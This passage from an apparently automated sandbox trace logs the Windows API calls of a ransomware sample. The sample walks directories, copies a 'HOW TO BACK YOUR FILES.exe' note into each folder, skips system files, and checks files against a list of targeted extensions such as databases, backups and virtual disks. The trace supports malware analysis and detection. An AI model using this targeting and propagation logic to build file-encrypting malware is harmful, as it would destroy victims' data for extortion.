	[0077.018] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.018] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.018] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6aaf30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.018] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.018] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0077.018] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0077.018] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0077.018] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f6aaf30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0077.018] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0077.018] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6aaf30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 1
	[0077.019] lstrcmpiW (lpString1="Patch", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.019] lstrcmpiW (lpString1="Patch", lpString2="Apollon865.txt.exe") returned 1
	[0077.019] lstrcmpiW (lpString1="Patch", lpString2=".") returned 1
	[0077.019] lstrcmpiW (lpString1="Patch", lpString2="..") returned 1
	[0077.019] lstrcmpiW (lpString1="Patch", lpString2="windows") returned -1
	[0077.019] lstrcmpiW (lpString1="Patch", lpString2="bootmgr") returned 1
	[0077.019] lstrcmpiW (lpString1="Patch", lpString2="temp") returned -1
	[0077.019] lstrcmpiW (lpString1="Patch", lpString2="pagefile.sys") returned 1
	[0077.019] lstrcmpiW (lpString1="Patch", lpString2="boot") returned 1
	[0077.019] lstrcmpiW (lpString1="Patch", lpString2="ids.txt") returned 1
	[0077.019] lstrcmpiW (lpString1="Patch", lpString2="ntuser.dat") returned 1
	[0077.019] lstrcmpiW (lpString1="Patch", lpString2="perflogs") returned -1
	[0077.019] lstrcmpiW (lpString1="Patch", lpString2="MSBuild") returned 1
	[0077.019] lstrlenW (lpString="Patch") returned 5
	[0077.019] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*") returned 84
	[0077.019] lstrcpyW (in: lpString1=0x119e6ae, lpString2="Patch" | out: lpString1="Patch") returned="Patch"
	[0077.019] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7bc8
	[0077.019] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb2) returned 0x5c1458
	[0077.019] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bd0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bd0) returned 0x5b7b90
	[0077.019] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6aaf30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 0
	[0077.019] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0077.019] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7bd0
	[0077.019] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch"
	[0077.019] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0077.019] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0077.019] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch") returned 88
	[0077.019] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch" | out: lpString1="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch"
	[0077.019] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.019] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0077.020] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0077.020] GetLastError () returned 0x0
	[0077.020] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0077.020] ReadFile (in: hFile=0x150, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0077.020] CloseHandle (hObject=0x150) returned 1
	[0077.020] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0077.020] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.020] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6aaf30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0077.021] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.021] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.021] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.021] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6aaf30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.021] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.021] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0077.021] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0077.021] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0077.021] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f6aaf30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0077.021] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0077.021] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6d1090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1
	[0077.021] lstrcmpiW (lpString1="x64", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.021] lstrcmpiW (lpString1="x64", lpString2="Apollon865.txt.exe") returned 1
	[0077.021] lstrcmpiW (lpString1="x64", lpString2=".") returned 1
	[0077.021] lstrcmpiW (lpString1="x64", lpString2="..") returned 1
	[0077.021] lstrcmpiW (lpString1="x64", lpString2="windows") returned 1
	[0077.021] lstrcmpiW (lpString1="x64", lpString2="bootmgr") returned 1
	[0077.021] lstrcmpiW (lpString1="x64", lpString2="temp") returned 1
	[0077.021] lstrcmpiW (lpString1="x64", lpString2="pagefile.sys") returned 1
	[0077.021] lstrcmpiW (lpString1="x64", lpString2="boot") returned 1
	[0077.021] lstrcmpiW (lpString1="x64", lpString2="ids.txt") returned 1
	[0077.021] lstrcmpiW (lpString1="x64", lpString2="ntuser.dat") returned 1
	[0077.021] lstrcmpiW (lpString1="x64", lpString2="perflogs") returned 1
	[0077.021] lstrcmpiW (lpString1="x64", lpString2="MSBuild") returned 1
	[0077.021] lstrlenW (lpString="x64") returned 3
	[0077.021] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*") returned 90
	[0077.021] lstrcpyW (in: lpString1=0x119e6ba, lpString2="x64" | out: lpString1="x64") returned="x64"
	[0077.021] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7bc8
	[0077.021] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xba) returned 0x5aa638
	[0077.021] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bd0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bd0) returned 0x5b7b90
	[0077.021] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6d1090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0
	[0077.021] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0077.021] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7bd0
	[0077.022] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64"
	[0077.022] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa638 | out: hHeap=0x580000) returned 1
	[0077.022] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0077.022] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64") returned 92
	[0077.022] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64" | out: lpString1="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64"
	[0077.022] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.022] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0077.022] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0077.022] GetLastError () returned 0x0
	[0077.022] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0077.022] ReadFile (in: hFile=0x150, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0077.023] CloseHandle (hObject=0x150) returned 1
	[0077.023] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0077.023] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.023] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6d1090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0077.023] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.023] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.023] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.023] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6d1090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.023] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.023] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0077.023] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0077.023] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0077.023] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f6d1090, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0077.023] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0077.023] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59d2100, ftCreationTime.dwHighDateTime=0x1d0a100, ftLastAccessTime.dwLowDateTime=0x59d2100, ftLastAccessTime.dwHighDateTime=0x1d0a100, ftLastWriteTime.dwLowDateTime=0x59d2100, ftLastWriteTime.dwHighDateTime=0x1d0a100, nFileSizeHigh=0x0, nFileSizeLow=0xf7139, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1
	[0077.023] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.023] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="Apollon865.txt.exe") returned 1
	[0077.023] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2=".") returned 1
	[0077.023] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="..") returned 1
	[0077.023] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="windows") returned 1
	[0077.023] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="bootmgr") returned 1
	[0077.023] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="temp") returned 1
	[0077.023] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="pagefile.sys") returned 1
	[0077.023] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="boot") returned 1
	[0077.023] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="ids.txt") returned 1
	[0077.023] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="ntuser.dat") returned 1
	[0077.023] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="perflogs") returned 1
	[0077.023] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="MSBuild") returned 1
	[0077.024] lstrlenW (lpString="Windows6.1-KB2999226-x64.msu") returned 28
	[0077.024] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*") returned 94
	[0077.024] lstrcpyW (in: lpString1=0x119e6c2, lpString2="Windows6.1-KB2999226-x64.msu" | out: lpString1="Windows6.1-KB2999226-x64.msu") returned="Windows6.1-KB2999226-x64.msu"
	[0077.024] lstrlenW (lpString="Windows6.1-KB2999226-x64.msu") returned 28
	[0077.024] lstrlenW (lpString="Apollon865") returned 10
	[0077.024] lstrcmpiW (lpString1="26-x64.msu", lpString2="Apollon865") returned -1
	[0077.024] lstrlenW (lpString=".dll") returned 4
	[0077.024] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2=".dll") returned 1
	[0077.024] lstrlenW (lpString=".lnk") returned 4
	[0077.024] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2=".lnk") returned 1
	[0077.024] lstrlenW (lpString=".ini") returned 4
	[0077.024] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2=".ini") returned 1
	[0077.024] lstrlenW (lpString=".sys") returned 4
	[0077.024] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2=".sys") returned 1
	[0077.024] lstrlenW (lpString="Windows6.1-KB2999226-x64.msu") returned 28
	[0077.024] lstrlenW (lpString="bak") returned 3
	[0077.024] lstrcmpiW (lpString1="msu", lpString2="bak") returned 1
	[0077.024] lstrlenW (lpString="ba_") returned 3
	[0077.024] lstrcmpiW (lpString1="msu", lpString2="ba_") returned 1
	[0077.024] lstrlenW (lpString="dbb") returned 3
	[0077.024] lstrcmpiW (lpString1="msu", lpString2="dbb") returned 1
	[0077.024] lstrlenW (lpString="vmdk") returned 4
	[0077.024] lstrcmpiW (lpString1=".msu", lpString2="vmdk") returned -1
	[0077.024] lstrlenW (lpString="rar") returned 3
	[0077.024] lstrcmpiW (lpString1="msu", lpString2="rar") returned -1
	[0077.024] lstrlenW (lpString="zip") returned 3
	[0077.024] lstrcmpiW (lpString1="msu", lpString2="zip") returned -1
	[0077.024] lstrlenW (lpString="tgz") returned 3
	[0077.024] lstrcmpiW (lpString1="msu", lpString2="tgz") returned -1
	[0077.024] lstrlenW (lpString="vbox") returned 4
	[0077.024] lstrcmpiW (lpString1=".msu", lpString2="vbox") returned -1
	[0077.024] lstrlenW (lpString="vdi") returned 3
	[0077.024] lstrcmpiW (lpString1="msu", lpString2="vdi") returned -1
	[0077.024] lstrlenW (lpString="vhd") returned 3
	[0077.024] lstrcmpiW (lpString1="msu", lpString2="vhd") returned -1
	[0077.024] lstrlenW (lpString="vhdx") returned 4
	[0077.024] lstrcmpiW (lpString1=".msu", lpString2="vhdx") returned -1
	[0077.024] lstrlenW (lpString="avhd") returned 4
	[0077.024] lstrcmpiW (lpString1=".msu", lpString2="avhd") returned -1
	[0077.025] lstrlenW (lpString="db") returned 2
	[0077.025] lstrcmpiW (lpString1="su", lpString2="db") returned 1
	[0077.025] lstrlenW (lpString="db2") returned 3
	[0077.025] lstrcmpiW (lpString1="msu", lpString2="db2") returned 1
	[0077.025] lstrlenW (lpString="db3") returned 3
	[0077.025] lstrcmpiW (lpString1="msu", lpString2="db3") returned 1
	[0077.025] lstrlenW (lpString="dbf") returned 3
	[0077.025] lstrcmpiW (lpString1="msu", lpString2="dbf") returned 1
	[0077.025] lstrlenW (lpString="mdf") returned 3
	[0077.025] lstrcmpiW (lpString1="msu", lpString2="mdf") returned 1
	[0077.025] lstrlenW (lpString="mdb") returned 3
	[0077.025] lstrcmpiW (lpString1="msu", lpString2="mdb") returned 1
	[0077.025] lstrlenW (lpString="sql") returned 3
	[0077.025] lstrcmpiW (lpString1="msu", lpString2="sql") returned -1
	[0077.025] lstrlenW (lpString="sqlite") returned 6
	[0077.025] lstrcmpiW (lpString1="64.msu", lpString2="sqlite") returned -1
	[0077.025] lstrlenW (lpString="sqlite3") returned 7
	[0077.025] lstrcmpiW (lpString1="x64.msu", lpString2="sqlite3") returned 1
	[0077.025] lstrlenW (lpString="sqlitedb") returned 8
	[0077.025] lstrcmpiW (lpString1="-x64.msu", lpString2="sqlitedb") returned 1
	[0077.025] lstrlenW (lpString="xml") returned 3
	[0077.025] lstrcmpiW (lpString1="msu", lpString2="xml") returned -1
	[0077.025] lstrlenW (lpString="$er") returned 3
	[0077.025] lstrcmpiW (lpString1="msu", lpString2="$er") returned 1
	[0077.025] lstrlenW (lpString="4dd") returned 3
	[0077.025] lstrcmpiW (lpString1="msu", lpString2="4dd") returned 1
	[0077.025] lstrlenW (lpString="4dl") returned 3
	[0077.025] lstrcmpiW (lpString1="msu", lpString2="4dl") returned 1
	[0077.025] lstrlenW (lpString="^^^") returned 3
	[0077.025] lstrcmpiW (lpString1="msu", lpString2="^^^") returned 1
	[0077.025] lstrlenW (lpString="abs") returned 3
	[0077.025] lstrcmpiW (lpString1="msu", lpString2="abs") returned 1
	[0077.025] lstrlenW (lpString="abx") returned 3
	[0077.025] lstrcmpiW (lpString1="msu", lpString2="abx") returned 1
	[0077.025] lstrlenW (lpString="accdb") returned 5
	[0077.025] lstrcmpiW (lpString1="4.msu", lpString2="accdb") returned -1
	[0077.025] lstrlenW (lpString="accdc") returned 5
	[0077.025] lstrcmpiW (lpString1="4.msu", lpString2="accdc") returned -1
	[0077.026] lstrlenW (lpString="accde") returned 5
	[0077.026] lstrcmpiW (lpString1="4.msu", lpString2="accde") returned -1
	[0077.026] lstrlenW (lpString="accdr") returned 5
	[0077.026] lstrcmpiW (lpString1="4.msu", lpString2="accdr") returned -1
	[0077.026] lstrlenW (lpString="accdt") returned 5
	[0077.026] lstrcmpiW (lpString1="4.msu", lpString2="accdt") returned -1
	[0077.026] lstrlenW (lpString="accdw") returned 5
	[0077.026] lstrcmpiW (lpString1="4.msu", lpString2="accdw") returned -1
	[0077.026] lstrlenW (lpString="accft") returned 5
	[0077.026] lstrcmpiW (lpString1="4.msu", lpString2="accft") returned -1
	[0077.026] lstrlenW (lpString="adb") returned 3
	[0077.026] lstrcmpiW (lpString1="msu", lpString2="adb") returned 1
	[0077.026] lstrlenW (lpString="adb") returned 3
	[0077.026] lstrcmpiW (lpString1="msu", lpString2="adb") returned 1
	[0077.026] lstrlenW (lpString="ade") returned 3
	[0077.026] lstrcmpiW (lpString1="msu", lpString2="ade") returned 1
	[0077.026] lstrlenW (lpString="adf") returned 3
	[0077.026] lstrcmpiW (lpString1="msu", lpString2="adf") returned 1
	[0077.026] lstrlenW (lpString="adn") returned 3
	[0077.026] lstrcmpiW (lpString1="msu", lpString2="adn") returned 1
	[0077.026] lstrlenW (lpString="adp") returned 3
	[0077.026] lstrcmpiW (lpString1="msu", lpString2="adp") returned 1
	[0077.026] lstrlenW (lpString="alf") returned 3
	[0077.026] lstrcmpiW (lpString1="msu", lpString2="alf") returned 1
	[0077.026] lstrlenW (lpString="ask") returned 3
	[0077.026] lstrcmpiW (lpString1="msu", lpString2="ask") returned 1
	[0077.026] lstrlenW (lpString="btr") returned 3
	[0077.026] lstrcmpiW (lpString1="msu", lpString2="btr") returned 1
	[0077.026] lstrlenW (lpString="cat") returned 3
	[0077.026] lstrcmpiW (lpString1="msu", lpString2="cat") returned 1
	[0077.026] lstrlenW (lpString="cdb") returned 3
